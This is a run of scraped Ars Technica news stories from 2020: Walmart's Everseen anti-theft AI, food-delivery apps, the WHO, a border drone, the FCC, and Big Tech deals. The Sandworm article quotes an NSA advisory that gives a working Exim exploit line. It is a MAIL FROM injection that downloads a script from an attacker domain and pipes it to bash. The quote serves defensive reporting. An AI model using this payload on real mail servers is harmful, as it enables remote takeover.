Walmart employees are out to show its anti-shoplifting AI doesn’t work

reader comments

136 with 94 posters participating

Share this story

In January, my coworker received a peculiar email. The message, which she forwarded to me, was from a handful of corporate Walmart employees calling themselves the “Concerned Home Office Associates.” (Walmart’s headquarters in Bentonville, Arkansas, is often referred to as the Home Office.) While it’s not unusual for journalists to receive anonymous tips, they don’t usually come with their own slickly produced videos.

The employees said they were “past their breaking point” with Everseen, a small artificial intelligence firm based in Cork, Ireland, whose technology Walmart began using in 2017. Walmart uses Everseen in thousands of stores to prevent shoplifting at registers and self-checkout kiosks. But the workers claimed it misidentified innocuous behavior as theft and often failed to stop actual instances of stealing.

They told WIRED they were dismayed that their employer—one of the largest retailers in the world—was relying on AI they believed was flawed. One worker said that the technology was sometimes even referred to internally as “NeverSeen” because of its frequent mistakes. WIRED granted the employees

anonymity because they are not authorized to speak to the press.

The workers said they had been upset about Walmart's use of Everseen for years and claimed colleagues had raised concerns about the technology to managers but were rebuked. They decided to speak to the press, they said, after a June 2019 Business Insider article reported Walmart's partnership with Everseen publicly for the first time. The story described how Everseen uses AI to analyze footage from surveillance cameras installed in the ceiling and can detect issues in real time, such as when a customer places an item in their bag without scanning it. When the system spots something, it automatically alerts store associates.

"Everseen overcomes human limitations. By using state-of-the-art artificial intelligence, computer vision systems, and big data, we can detect abnormal activity and other threats," a promotional video referenced in the story explains. "Our digital eye has perfect vision, and it never needs a day off."

In an effort to refute the claims made in the Business Insider piece, the Concerned Home Office Associates created a video, which purports to show Everseen's technology failing to flag items not being scanned in three different Walmart stores. Set to cheery elevator music, it begins with a person using self-checkout to buy two jumbo packages of Reese's White Peanut Butter Cups. Because the packages are stacked on top of each other, only one is scanned, but both are successfully placed in the bagging area without issue.

The same person then grabs two gallons of milk by their handles and moves them across the scanner with one hand. Only one is rung up, but both are put in the bagging area. They then put their own cell phone on top of the machine, and an

alert pops up saying they need to wait for assistance—a false positive. “Everseen finally alerts! But does so mistakenly. Oops again,” a caption reads. The filmmaker repeats the same process at two more stores, where they fail to scan a heart-shaped Valentine’s Day chocolate box with a puppy on the front and a Philips Sonicare electric toothbrush. At the end, a caption explains that Everseen failed to stop more than $100 of would-be theft.

False positives

The video isn’t definitive proof that Everseen’s technology doesn’t work as well as advertised, but its existence speaks to the level of frustration felt by the group of anonymous Walmart employees, and the lengths they went to prove their objections had merit.

In interviews, the workers, whose jobs include knowledge of Walmart’s loss-prevention programs, said their top concern with Everseen was false positives at self-checkout. The employees believe that the tech frequently misinterprets innocent behavior as potential shoplifting, which frustrates customers and store associates, and leads to longer lines. “It’s like a noisy tech, a fake AI that just pretends to safeguard,” said one worker.

The coronavirus pandemic has given their concerns more urgency. One Concerned Home Office Associate said they worry false positives could be causing Walmart workers to break social-distancing guidelines unnecessarily. When Everseen flags an issue, a store associate needs to intervene and determine whether shoplifting or another problem is taking place. In an internal communication from April obtained by WIRED, a corporate Walmart manager expressed strong concern that workers were being put at risk by the additional contact necessitated by false positives and asked whether the Everseen system should be turned off to protect customers and workers.

Before COVID-19, “it wasn’t ideal, it was a poor customer experience,” the worker said. “AI is now creating a public health risk.” (HuffPost reported last week that corporate Walmart employees were concerned about Everseen’s technology putting store associates at risk amid the pandemic.)

Good for sales

When COVID-19 reached the United States, Americans rushed to stock up on food and household essentials at Walmart, and sales soared. Workers soon began falling sick; at least 20 Walmart associates have now died after contracting the coronavirus, according to United for Respect, a nonprofit that advocates for retail workers and that is crowdsourcing COVID-19 infection rates and working conditions at Walmart stores across the country. Last month, United for Respect said hundreds of Walmart employees participated in a national strike demanding safer working conditions and better benefits.

A spokesperson for Walmart said the company has been working diligently to protect customers and its workforce and believes the rate at which associates have contracted COVID-19 is lower than that of the general US population. They denied that false positives caused by Everseen were a widespread issue and said the company had not considered turning the system off due to concerns about COVID-19.

“We assess our technology regularly, and as evident with the large scale implementation of Everseen across the chain, we have confidence it is currently meeting our standards,” the spokesperson said in an email. Just prior to the start of the pandemic, Walmart said it made significant improvements to its Everseen system, which resulted in fewer alerts overall. The spokesperson declined to answer questions about what the updates may have entailed.

The spokesperson also noted that there are a number of different reasons an associate might intervene during a self-

checkout transaction, like when a customer has problems with their credit card. The company said it has taken a number of steps to ensure people are protected during these interactions, including regularly cleaning self-checkout kiosks and providing employees with protective equipment. In addition, workers are given handheld devices that allow them to handle most interventions from a distance, the company said.

Questions

Everseen declined to answer questions about its technology. In a statement, a spokesperson said the company “accurately and effectively identifies potential theft [sic] is why retailers have successfully deployed it at thousands of locations to date, with many more installations planned.” They added that Everseen typically accounts only for less than 10 percent of total interventions at self-service checkouts. In a separate statement, the spokesperson said “Everseen is committed to helping its customers deliver the best possible experience for shoppers and store associates, especially during the COVID-19 pandemic. Self-checkout offers the benefits of a generally contactless shopping experience, allowing for proper social distancing and avoiding manned-lanes in busy stores with limited staff available.”

But the Concerned Home Office Associates said their worries about Everseen long predate the pandemic. Emails obtained by WIRED show that other corporate employees raised issues about the technology failing to prevent theft in both 2017 and 2018. The employees said they were particularly vexed by Walmart’s continued investment in Everseen because NCR Corporation, which makes the majority of Walmart’s registers, had acquired an Everseen competitor called StopLift. They considered the acquisition an endorsement and were confused as to why StopLift’s technology wasn’t being further explored.

What’s more, the workers said an internal Walmart research and development group, the Intelligent Retail Lab (IRL), created its own anti-theft software they believed was more accurate than Everseen’s, according to information they were given internally. One Walmart employee said the technology, the existence of which was previously reported by The Wall Street Journal, is now being tested in roughly 50 stores.

Walmart declined to answer questions about its internal anti-theft software but did not dispute WIRED’s reporting. “At an enterprise level, there are a number of tests happening at any given time across our footprint of nearly 5,000 stores,” a spokesperson said in a statement. “The goal of IRL is to build AI capabilities that can be transferred to additional stores. We regularly test capabilities built internally in a small number of stores.”

Rising shrink

Everseen’s technology was designed in part to help solve a persistent problem with self-checkout. While allowing customers to scan and pay for their own items cuts down on labor costs for retailers, it has also led to more inventory loss, or “shrinkage,” due to shoplifting, employee theft, and other problems. “Theft through self-checkout lanes is exponentially higher than through traditional checkout lanes,” says Christopher Andrews, a sociology professor at Drew University and the author of *The Overworked Consumer: Self-Checkouts, Supermarkets, and the Do-It-Yourself Economy*.

In the past, Walmart and other retailers relied on weight sensors to prevent shoplifting through self-checkout, but those were prone to error and frustrated customers. Some stores are now turning instead to firms like Everseen, which promise to reduce shrink and increase customer satisfaction by relying instead on surveillance cameras and machine vision. Everseen has said that it works with a number of major

retailers. Amazon uses similar technology in its Amazon Go convenience stores, where a network of cameras automatically log the products customers take. (Amazon is now licensing its "Just Walk Out" tech to other companies.)

Value of self-checkout

During the coronavirus pandemic and its aftermath, self-checkout may become even more important for stores, as customers look for low-risk ways to shop. NCR corporation said it's now helping retailers modify its equipment to be as touchless as possible: for example, by reconfiguring machines so that customers can insert a debit or credit card without needing to press the "credit card" payment option. "It is fascinating to see self-checkout become poised as a public health strategy, in addition to things like cashless payment," says Alexandra Mateescu, a researcher at the nonprofit institute Data & Society, who has written about the effects of new technology on retail workers.

"Self-checkout is just one of the ways that we've offered customers solutions to get the items they need safely during this time, in addition to other options like delivery, pickup, touchless payment at the register and shopping online," the Walmart spokesperson said in a statement. "Customers are using this option now, as much as ever, and we will continue to work hard to ensure the in-store experience for our customers is safe, affordable and convenient, as well as safe for our associates."

This story originally appeared on wired.com.

https://arstechnica.com/?p=1679858

Everyone’s ordering delivery, but apps aren’t making money

Enlarge / Two Uber Eats delivery courier wait outside Mc Donalds fast food in Ghent, Belgium on May 14, 2020. As Belgium takes steps in easing Restrictions, Restaurant and cafe are not allowed to open to customers only fast food and take away is allowed. restaurants and restaurants may not reopen before June 8. (Photo by Jonathan Raa/NurPhoto via Getty Images)
Getty Images

reader comments

94 with 77 posters participating

Share this story

When Luke Edwards opened OH Pizza & Brew in 2014, the Columbus, Ohio, restaurateur thought delivery apps could help his business. His chicken wings and specialty pizzas—the most popular and appropriately named “Bypass,” topped with pepperoni, sausage, ham, salami, bacon, and extra cheese—needed an audience. And he says working with apps such as DoorDash, Grubhub, Postmates, and Canada’s SkipTheDishes helped him build a loyal following, allowing him to open two more OH Pizza & Brews, with another location on the way.

But by January 2019, Edwards had had enough. For one, he didn’t think the services were helping his bottom line. “Even though we were bringing in more money, after paying out the commission rates, we were seeing a decrease in net profits,” he says. The drivers were inconsistent, he reports, and sometimes lacked equipment like insulated food bags to keep deliveries warm. Edwards also found it harder to get in touch

with customer service reps for the apps, who would sometimes refund customers at the eatery's expense for deliveries he believed had gone well.

"Quickly, I realized [the apps] were good at the search and optimization thing," he adds. "They were terrible at delivery." Today, OH Pizza & Brew pays its own contracted drivers to deliver, which Edwards believes saves him money.

To be sure, Edwards is swimming upstream. The Covid-19 pandemic forced many restaurants to close their dining rooms and accelerate online ordering, takeout, and delivery services. Popular services such as Uber Eats, DoorDash, Postmates, and Grubhub each added hundreds of venues to their offerings. Through the end of April, collective sales at the delivery services nearly doubled compared with the same time last year, according to credit-card analytics firm Second Measure.

The apps are appealing for a reason: Without much overhead, restaurants can quickly gain access to a labor force of insured and background-checked drivers, a customer base of people who reach for their phones when they want a meal, and a suite of marketing and promotional add-ons. Taw Vigsittaboot owns Thai X-ing in Washington, DC, a restaurant known for its intimate, prix fixe service of traditional Thai food. Since the end of March, the restaurant has been serving takeout through delivery apps. "It's a lot of confusion sometimes, but we're learning," he says. He credits takeout, plus a loan from the government, with keeping the business running. At the end of April, Second Measure says 29 percent of Americans had ordered from an online delivery service, up from 23 percent the year previous.

But the experience of Edwards and others points to the

enormous challenge for these services: maintaining both sides of their customer base. They must compete to keep eaters, who are, according to a 2019 Grubhub letter to investors, "becoming more promiscuous"—looking through multiple platforms for deals and promotions before settling on a meal. And they must compete for restaurants, whose slimmer-than-usual margins have run up against commission fees ranging from 15 to 30 percent per order. Some owners are reportedly slipping menus and cards into each app-ordered meal, to prod buyers into skipping the middleman and ordering directly from the restaurant next time.

As it is, the delivery companies are hardly minting money. Grubhub reported a 12 percent increase in revenue in the first quarter, to $363 million, but posted a loss. CEO Matt Maloney told shareholders this month that the company is about breaking even on orders during the pandemic. Uber said gross bookings at Eats rose 52 percent in the first quarter, but the division also showed a loss.

Smaller, independent restaurants and chains like OH Pizza & Brew and Thai X-ing may be the key to winning the delivery app race. In the past few years, the apps have engaged in a high-profile turf war to win partnerships with big restaurant brands like Taco Bell (Grubhub), Chipotle (DoorDash), and Starbucks (Uber Eats). But Grubhub executives told shareholders in February that "national enterprise brands" had negotiated fees for their orders, leaving less for Grubhub.

An independent restaurant, by contrast, "values our demand generation capabilities," according to the execs, and so pays more in commission. (Independent restaurants may also use the app's less-popular delivery service, which means it gets to collect some of the delivery fee too.)

Independent restaurants may influence the apps' political future as well. In recent weeks, policymakers in Los Angeles, New York, San Francisco, and Seattle, as well as Jersey City,

New Jersey, and Washington, DC, have passed emergency bills capping the apps' commissions. They aim to keep restaurants afloat and restaurant workers employed while dining is down. But the delivery services may respond to the regulations by raising prices to consumers, which could hurt sales. After Jersey City earlier this month imposed a 10 percent cap on commissions, Uber raised local ordering fees by $3.

"Regulating the commissions that fund our marketplace—particularly during these unprecedented times—would force us to radically alter the way we do business, set a far-reaching precedent in a highly competitive market, and could ultimately hurt those that we're trying to help the most: customers, small businesses and delivery people," an Uber spokesperson said in a statement.

Some services have lowered or eliminated commissions for smaller restaurants during the pandemic. DoorDash cut commissions for smaller restaurants by 50 percent and waived them for pickup orders, and Grubhub has deferred up to $100 million in commissions. Uber also waived fees for pickup orders.

Next month, DoorDash plans to launch a new service, called Storefront, to allow restaurants to control orders through their own websites but use the company's contract workers to deliver them. A spokesperson said the service is built for restaurants that want more direct access to customers.

In a statement, a spokesperson for Grubhub said: "The vast majority of our orders are completed without delays or complaints, but when things don't go as planned, we appreciate hearing feedback and work hard to make it right." The spokesperson also said delivery times are sometimes longer for reasons outside drivers' control, like longer restaurant preparation time and traffic.

The fierce competition is prompting a wave of consolidation,

which ultimately could lower the costs of resource-sucking promotions and competition for drivers. The Dutch company Takeaway.com closed its $7.8 billion purchase of Britain's Just Eat in January; Uber Eats is selling its Indian business to Zomato; and Germany's Delivery Hero late last year spent $4 billion to buy South Korean service Woowa. Earlier this month, *The Wall Street Journal*reported that Uber was in talks to acquire Grubhub; together, the companies would control roughly 45 percent of the US market—about even with reigning US champ DoorDash.

In a statement, a Grubhub spokesperson said" "Consolidation could make sense in our industry, and like any responsible company, we are always looking at value-enhancing opportunities. That said, we remain confident in our current strategy and our recent initiatives to support restaurants in this challenging environment." An Uber spokesperson declined to comment.

But the fate of these companies may come down to the decisions of people like Edwards, who has kept all his workers on the payroll despite the sharp downtown in business caused by the pandemic. He has even handed out some raises, he says, in part because some employees realized they would be making more if they had been let go and been able to access pandemic relief assistance. He credits the apps for "getting the word out for us. But sometimes, we had to fight to keep customers in spite of them."

This story originally appeared on wired.com.

https://arstechnica.com/?p=1679850

US “terminating relationship” with World Health Organization, Trump says

Getty Images | Westend61

reader comments

193 with 95 posters participating

Share this story

President Trump today said the US government is “terminating our relationship” with the World Health Organization, alleging that the global health group has not implemented needed reforms and that it is controlled entirely by China.

“China has total control over the World Health Organization despite only paying $40 million per year, compared to what the United States has been paying, which is approximately $450 million a year,” Trump said during a brief press conference at the White House Rose Garden (see video).

Trump halted funding to WHO in mid-April. On May 18, he sent a letter to WHO, saying that the US will permanently stop funding the group if it “does not commit to major substantive improvements within the next 30 days.” It’s only been 11 days since then, but Trump said today he is moving ahead with his threat.

“Because they have failed to make the requested and greatly needed reforms, we will be today terminating our relationship with the World Health Organization, and redirecting those funds to other worldwide and deserving, urgent global public

health needs," Trump said.

Congress could try to stop Trump from pulling the US out of the WHO, which is a United Nations agency. As CNBC wrote today, "It's unclear exactly what mechanism Trump intends to use to terminate WHO funding, much of which is appropriated by Congress. The president typically does not have the authority to unilaterally redirect congressional funding."

A WHO official recently said that the US cutting funding has "a major implication for delivering essential health services to some of the most vulnerable people in the world, and we trust developed donors will, if necessary, step in to fill that gap," CNBC wrote.

After Trump first made the threat in mid-April, House Speaker Nancy Pelosi (D-Calif.) said Trump's action is "dangerous, illegal, and will be swiftly challenged." On April 27, the House Committee on Foreign Affairs launched an inquiry into Trump's decision to withhold funding.

Trump also targets Chinese students and companies

Today, Trump spoke for 10 minutes and walked away without taking questions from the press. Besides pulling out of WHO, Trump announced he has issued "a proclamation to better secure our nation's vital university research and to suspend the entry of certain foreign nationals from China, who we have identified as potential security risks." Moreover, Trump said he is instructing his presidential working group on financial markets "to study the differing practices of Chinese companies listed on the US financial markets, with the goal of protecting American investors."

"China raided our factories, off-shored our jobs, gutted our industries, stole our intellectual property, and violated

their commitments under the World Trade Organization," Trump said, blaming "past presidents" for allowing that to happen.

Trump has repeatedly criticized the WHO for not being tough enough on China during the pandemic. But Trump himself praised China for its "transparency" about the coronavirus on January 24 and repeatedly praised China for its coronavirus response throughout February. Today, Trump said that "Chinese officials ignored their reporting obligations to the World Health Organization and pressured the World Health Organization to mislead the world when the virus was first discovered by Chinese authorities."

"China's covering up of the Wuhan virus allowed the disease to spread all over the world, instigating a global pandemic that has cost more than 100,000 American lives and more than a million lives worldwide," Trump said. "The world needs answers from China on the virus."

https://arstechnica.com/?p=1679945

Border Patrol flies anti-terrorism drone over Minneapolis protestors

Customs and Border Patrol

reader comments

202 with 108 posters participating

Share this story

Thousands of people took to the streets of Minneapolis on Friday to protest the death of George Floyd, a local black man who died after a white police officer knelt on his neck during an arrest. All the while, a Customs and Border Patrol drone kept a careful eye on the unfolding unrest.

The drone, using the tracking signal CBP104, took off from Grand Forks Airforce Base at 9:08 am Central Daylight Time and shortly afterward headed directly to Minneapolis, this feed from live flight tracking service FlightAware showed. The drone then circled the city six times from about 10:45 until noon. The aircraft maintained an altitude of about 20,000 feet.

Grand Forks AFB is the home of the Air Force's 319th Reconnaissance Wing. It is also a site Customs and Border Patrol personnel use for takeoff and landing of the Predator B unmanned aircraft system. CPB uses the drone in anti-terrorism operations by helping to identify and intercept potential terrorists and illegal cross-border activity.

The Border Patrol deployed the drone less than 12 hours after President Trump labeled the Minneapolis protestors "thugs" and pledged military support to counter them:

In a statement sent after this post when live, CBP officials wrote:

> *Earlier today a U.S. Customs and Border Protection, Air and*

Marine Operations unmanned aircraft system was preparing to provide live video to aid in situational awareness at the request of our federal law enforcement partners in Minneapolis. The unmanned aircraft system provides live video feed to ground law enforcement, giving them situational awareness, maximizing public safety, while minimizing the threat to personnel and assets.

After arriving into the Minneapolis airspace, the requesting agency determined that the aircraft was no longer needed for operational awareness and departed back to Grand Forks.

CBP AMO routinely conducts operations with other federal, state, and local law enforcement entities to assist law enforcement and humanitarian relief efforts.

AMO carries out its mission nationwide, not just at the border, consistent with federal laws and policies. During humanitarian missions AMO regularly deploys the unmanned aircraft system to assist FEMA in assessing hurricane affected areas, in coordination with the National Weather Service to capture imagery of storm impacted areas, and with federal, state and local partners to conduct search and rescue missions, in addition to its law enforcement mission.

The Minneapolis protests come after video footage emerged earlier this week of white Minneapolis Police Department officer Derek Chauvin earlier kneeling on Floyd's neck while he was handcuffed and on the ground. Floyd can be seen gradually becoming motionless as Chauvin and three other officers ignore bystanders' shouts to stop. People in Minneapolis and cities across the US have taken to the streets to protest the violence in the four days that have passed.

Chauvin was arrested on Friday and charged with third-degree murder and homicide, the Associated Press reported. Hennepin County Attorney Mike Freeman said an investigation continues into the three other officers. All four have been fired.

As reported earlier by Motherboard CBP104 is the unmanned aircraft captured in 2012 flight logs spotted by the Electronic Frontier Foundation. The logs showed the done activities including the capture of synthetic-aperture radar imagery and video to aid in surveilling and arresting cannabis growing operations and methamphetamine labs. In one case, the drone repeatedly circled and fed video in real time to police until all lab suspects have been captured.

Below, you can see a video outlining the drone's flight track.

https://arstechnica.com/?p=1679869

FCC Republican excitedly endorses Trump's crackdown on social media

Enlarge / FCC Commissioner Brendan Carr speaks during the Conservative Political Action Conference (CPAC) in Maryland on Saturday, Feb. 29, 2020.
Getty Images | Bloomberg

reader comments

135 with 68 posters participating

Share this story

Republican Brendan Carr of the Federal Communications Commission is cheering on President Trump's attack on Big

Tech this week. The commissioner also accused social media platforms of bias against the president and of trying to swing the 2020 presidential election.

Carr has supported Trump's action in a series of tweets, in an official statement posted on the FCC website, and in interviews including one with Lou Dobbs on the Fox Business channel.

"This is really welcome news," Carr told Dobbs. "Since the 2016 election, the far left has hopped from hoax to hoax to hoax to explain how it lost to President Trump at the ballot box. One thing they've done is look to social media platforms and they've put pressure on them for the crime, in their view, of staying neutral in the 2016 election and they're committed to not letting those platforms stay neutral in the run-up to 2020. So this step by President Trump shines a light on some of that activity and tees up some steps that can be taken."

> *@BrendanCarrFCC weighs in on today's executive order: pic.twitter.com/nR2A1y0AeR*
>
> *— The White House (@WhiteHouse) May 28, 2020*

"Twitter made the decision to take on the president of the United States in a partisan, political debate and it did so in a really disingenuous way," Carr added, saying that Trump was right to warn of voter fraud in mail-in ballots. In a tweet today, Carr accused Twitter of "punishing speakers based on whether it approves or disapproves of their politics." He's been making similar arguments for months.

"If they go after the president, who are they going after next?" Carr said in a separate interview about Twitter, also on Fox.

Chairman Ajit Pai takes measured tone

Carr's enthusiasm for Trump's executive order is significant because the FCC would be tasked with implementing part of it. Trump's order calls on the FCC to "expeditiously propose regulations to clarify" Section 230 of the Communications Decency Act in order to limit social media platforms' legal protections for hosting third-party content when the platforms take down content they consider objectionable.

The FCC's power to do this is limited, as we explained in an in-depth article on Trump's order today. And Carr may be alone among the five FCC commissioners in actually wanting to carry out Trump's wishes. FCC Chairman Ajit Pai didn't carry out Trump's call in 2017 to revoke broadcast licenses from stations whose news coverage Trump disliked. Pai did question Twitter's moderation decisions in a tweet today, but he is generally against imposing new regulations.

"This debate is an important one," Pai said yesterday. "The Federal Communications Commission will carefully review any petition for rulemaking filed by the Department of Commerce."

Republican Commissioner Michael O'Rielly wrote on Twitter that Trump "has [the] right to seek review of [the] statute's application. As a conservative, I'm troubled voices are stifled by liberal tech leaders. At [the] same time, I'm extremely dedicated to First Amendment which governs much here."

FCC Democrat Jessica Rosenworcel blasted Trump, saying, "an Executive Order that would turn the Federal Communications Commission into the President's speech police is not the answer. It's time for those in Washington to speak up for the First Amendment. History won't be kind to silence."

Even if the Pai-led FCC doesn't do much in response to Trump's

order, Carr's full-throated support for Trump could help him win the job of FCC chairman in 2021 if the president wins re-election. Pai wouldn't have to step down, but FCC chairs traditionally end their terms after a presidential election even if the same party stays in power. If Trump wins a second term and Pai leaves the FCC, Trump could appoint Carr to be the chairman. Unlike nominations for people who aren't yet on the commission, which require Senate approval, the president can promote a commissioner to chair unilaterally.

Carr says Facebook is trying to "tilt an election"

The White House Twitter account posted the video of Carr's interview with Dobbs, and Carr retweeted that. In the interview, Carr criticized Facebook's oversight board, saying, "If you were to hand-pick a group to tilt an election against the incumbent president, I don't think it would look much different than the oversight board that Facebook has put together." Carr previously called the Facebook board "your new speech police" in one of his many tweets about what he considers censorship on social media websites.

Dobbs was in full agreement with Carr. "It's ridiculous some of the comments that have resulted from the Twitter folks trying to explain their idiotic attempts to limit the free speech of the president of the United States. It cannot be condoned rationally, can it?" Dobbs said. Dobbs also said that Trump "served notice, more than sufficient notice, that he was not going to be trifled with by Big Tech, pencil-neck geeks in the form of one [Twitter CEO] Jack Dorsey, who has tried to become his nemesis in Silicon Valley."

Carr conflated free speech on Twitter with the First Amendment, despite the fact that the First Amendment only prevents government-imposed restrictions on free speech (not restrictions from private companies). "Every speaker in this

country has a First Amendment right to free speech," Carr said in the statement he issued on the FCC website. In the Fox interview with Dobbs, Carr continued:

> *Here's what's really important about the president's executive order: Everybody has free speech, First Amendment rights. What's different about these platforms is that Congress in the 1990s afforded them a very special and unique legal liability and protection that all other political actors don't enjoy. That maybe made sense when you had the Prodigy messaging board that was in Congress's mind. But flash-forward 20 years, these are now the largest, most powerful corporations when it comes to speech. So I think it's entirely appropriate for the president to say, is it time to take another look at Section 230 and whether that makes sense, given where we are today.*

Carr also accused social media websites of misleading the public about how they apply content moderation. "If you're any other type of business and you represent to Congress and the public that you're a neutral platform, and you engage in some of the conduct that we're seeing, you'd be held liable for an unfair business practice at that point," he said. Carr, who was the FCC's general counsel before becoming a commissioner in 2017, said that he wants "a neutral application of terms of service to all Americans."

While Carr supports Trump's attempted crackdown on social-media websites, he has consistently fought against consumer-protection rules for broadband providers that the FCC regulates. When Carr voted to kill net neutrality rules, which prohibit ISPs from blocking, throttling, and paid prioritization, he said, "I am proud to help end this two-year experiment with heavy-handed regulation—this massive regulatory overreach." That vote ended the policy of regulating ISPs as common carriers and eliminated other consumer protections such as rules against hidden fees and a

process for consumers to file complaints about unjust or unreasonable prices and practices.

https://arstechnica.com/?p=1679812

Big Tech goes on pandemic M&A spree despite political backlash

Aurich Lawson

reader comments

16 with 16 posters participating

Share this story

Big technology companies are hunting for deals at their fastest pace in years, racking up acquisitions and strategic investments despite increased regulatory scrutiny during the coronavirus-led market turmoil.

Alphabet, Amazon, Apple, Facebook and Microsoft have announced 19 deals this year, according to Refinitiv data from May 26, representing the fastest pace of acquisitions to this date since 2015.

The Financial Times on Tuesday reported Amazon was also in advanced talks to purchase the self-driving car company Zoox, which was valued at $3.2 billion two years ago. Meanwhile,

Facebook in March announced its largest international investment yet, purchasing a $5.7 billion stake in the juggernaut Indian telecoms operator Reliance Jio.

The deals mark a departure from the 2001 recession and the 2008 financial crisis, when tech companies largely retreated from big purchases following dips in the stock market.

“One big difference between now and the last financial crisis is the cash balances of the tech majors are in the hundreds of billions, all effectively onshore, due to the Trump tax changes,” said John Gnuse, a tech M&A adviser at Lazard, referring to president Donald Trump’s move to lower the rate on repatriated offshore profits.

The dealmaking streak also represents a further consolidation of Big Tech’s power in the middle of the Covid-19 crisis, as the groups look to capitalize on their record valuations and resurface as the dominant players in emerging sectors.

Antitrust advocates have warned that such opportunistic deals—some of which involve bargain purchases of start-ups whose business models were affected by the crisis—risk widening the gap between the largest players and their smaller competitors.

“This crisis threatens to further entrench the power of Big Tech,” said Sandeep Vaheesan, legal director at the Open Markets Institute, a think-tank that studies corporate concentration. “These companies are already extraordinarily powerful, but they’re well positioned to emerge as the biggest winners of Covid-19 unless some legislative action is taken.”

The big buy-up

Analysts have been waiting for an increase in tech mergers and acquisitions spurred by the swelling coffers at the five Big Tech companies, which together held more than $560 billion in

cash and marketable securities at the end of the first quarter, according to public filings.

Atif Azher, a partner at the law firm Simpson Thacher, said many tech executives were not waiting for the end of the pandemic to return to doing deals, and were getting increasingly comfortable with making strategic acquisitions in the current climate.

“People are starting to realize that this may be the new normal for some period of time . . . They’re trying to find a way to proceed, and for some industries there seem to be some attractive opportunities,” said Mr. Azher.

Besides Facebook’s Jio purchase, big tech companies have mostly looked to acquire smaller start-ups in areas ranging from gaming to cloud computing—deals that are expected to benefit from current lockdown measures as well as potentially longer-term shifts in behaviour such as remote working.

Earlier this month, Facebook paid about $400 million to acquire Giphy, which hosts a search engine for animated images known as GIFs, with a view to integrating the company’s image library into Instagram and other apps.

Giphy had generated about $19 million in annual revenues before the acquisition, meaning Facebook paid more than 20 times that amount for it, according to people briefed on the matter. Facebook and Giphy declined to comment on financial details.

Meanwhile, tech companies are also evaluating deals that could reshape emerging sectors such as food delivery and mobility technology.

Amazon’s discussions with Zoox followed news that Uber was seeking to acquire Grubhub in a deal that would create the largest player in the US meal delivery market. Earlier this month, Uber paid $85 million for a 16 per cent stake in the

struggling scooter rental service Lime, in a deal that gives the car-booking group the option to buy the company in two years.

“Concentration writ large”

Big Tech’s dealmaking push comes in spite of growing concerns in Washington about its monopolistic power. The Federal Trade Commission has begun a review of small acquisitions made by the five tech giants dating back to 2010, while the Democrats Alexandria Ocasio-Cortez and Elizabeth Warren have proposed a ban on “predatory” crisis-era purchases by companies with more than $100 million in revenues.

However, antitrust advocates have expressed skepticism that the Department of Justice and regulators can rein in spending by big tech companies, instead seeking to marshal popular opinion through measures such as the pandemic bill proposed by Ms Ocasio-Cortez and Ms Warren.

“At a fundamental level, the DoJ and FTC can’t be trusted to prevent concentration writ large,” Mr. Vaheesan said. “They no longer view that as their mission.”

M&A advisers said large tech companies could still look to consolidate industries such as cloud computing. Oracle, whose cloud offering has lagged behind peers, raised $20 billion from a debt offering in March, which it said would be put towards future acquisitions and other general corporate purposes.

Tech companies were also considering stock-based transactions following a run-up in their stock prices, advisers said.

“Some of the clear beneficiaries have seen dramatic market [capitalization] creation over the last several months and are inclined to take advantage of that,” said Sam Britton, head of technology, media and telecoms M&A at Goldman Sachs.

George Boutros, chief executive of the tech-focused investment bank Qatalyst Partners, said mega-transactions are still unlikely in the short-term, though companies will continue to make opportunistic acquisitions.

“Acquirers see no real reason to rush into doing big deals,” Mr. Boutros said. “Those big transformational deals require senior executive confidence and visibility in the outlook, and given the recent rapid recovery in the technology markets, most of them are not cheap.”

© 2020 The Financial Times Ltd. All rights reserved. Not to be redistributed, copied, or modified in any way.

https://arstechnica.com/?p=1679827

Russian hackers are exploiting bug that gives control of US servers

reader comments

28 with 16 posters participating

Share this story

A Russian hacking group tied to power-grid attacks in Ukraine, the world’s most destructive data wiper worm, and other nefarious Kremlin operations is exploiting a vulnerability

that allows it to take control of computers operated by the US government and its partners.

In an advisory published on Thursday, the US National Security Agency said that the Sandworm group was actively exploiting a vulnerability in Exim, an open source mail transfer agent, or MTA, for Unix-based operating systems. Tracked as CVE-2019-10149, the critical bug makes it possible for an unauthenticated remote attacker to send specially crafted emails that execute commands with root privileges. With that, the attacker can install programs of their choosing, modify data, and create new accounts.

A patch CVE-2019-10149 has been available since last June. The attacks have been active since at least August. NSA officials wrote:

> *The actors exploited victims using Exim software on their public facing MTAs by sending a command in the "MAIL FROM" field of an SMTP (Simple Mail Transfer Protocol) message. Below is a sample, which contains parameters the actor would modify per deployment.*
>
> *MAILFROM:<${run{\x2fbin\x2fsh\tc\t\x22exec\x20\x2fusr\x2fbin\x2fwget\x20\x2DO\x20\x2D\x20http\:\x2F\x2F\hostapp.be\x2fscript1.sh\x20\x7C\ x20bash\x22}}@hostapp.be>*
> *Hex decoded command:*
> */bin/sh -c "exec /usr/bin/wget -O - http://hostapp.be/script1.sh | bash"*
>
> *Figure 1: Sample "MAIL FROM" exploitation command*
>
> *When CVE-2019-10149 is successfully exploited, an actor is able to execute code of their choosing. When Sandworm exploited CVE-2019-10149, the victim machine would subsequently download and execute a shell script from a Sandworm-controlled domain. This script would attempt to do the following on the victim machine: add privileged users disable network security settings update SSH configurations*

> *to enable additional remote access execute an additional script to enable follow-on exploitation.*

Thursday's advisory said the hackers worked for a specific unit, known as the Main Center for Special Technologies, that's within the GRU, or Russia's Main Intelligence Directorate. There is general agreement among security researchers that the hacking group working on behalf of this unit has been responsible for some of the most ambitious and destructive cyberattacks in recent years.

Examples include:

Wired journalist Andy Greenberg recently published *Sandworm*, a book that chronicles the hacks and the geopolitical tensions they exploit.

The Exim mail-server bug came to light last June, at the same time that developers published a security patch. The advisory said that remote attacks generally required that vulnerable systems no longer run with default settings. In one case, though, remote attacks were possible against default systems when an attacker kept a connection to the vulnerable server open for seven days by transmitting one byte every few minutes.

Thursday's advisory didn't say how many servers have been targeted successfully or the geographies or industries they're in. Even so, the NSA typically doesn't issue these kinds of warnings unless there's reason for concern.

People responsible for Exim servers should check that they're running version 4.92 or higher. And out of an abundance of caution, administrators should also check system logs for connections to 95.216.13.196, 103.94.157.5, and hostapp.be, which are all connected to the ongoing Sandworm campaign.

https://arstechnica.com/?p=1679626

A $350 “anti-5G” device is just a 128MB USB stick, teardown finds

Enlarge / The 5GBioShield, a USB stick that allegedly protects you from 5G and other radio signals.

reader comments

246 with 177 posters participating

Share this story

Believers of 5G conspiracy theories have apparently been buying a $350 anti-5G USB key that—not surprisingly—appears to just be a regular USB stick with only 128MB of storage.

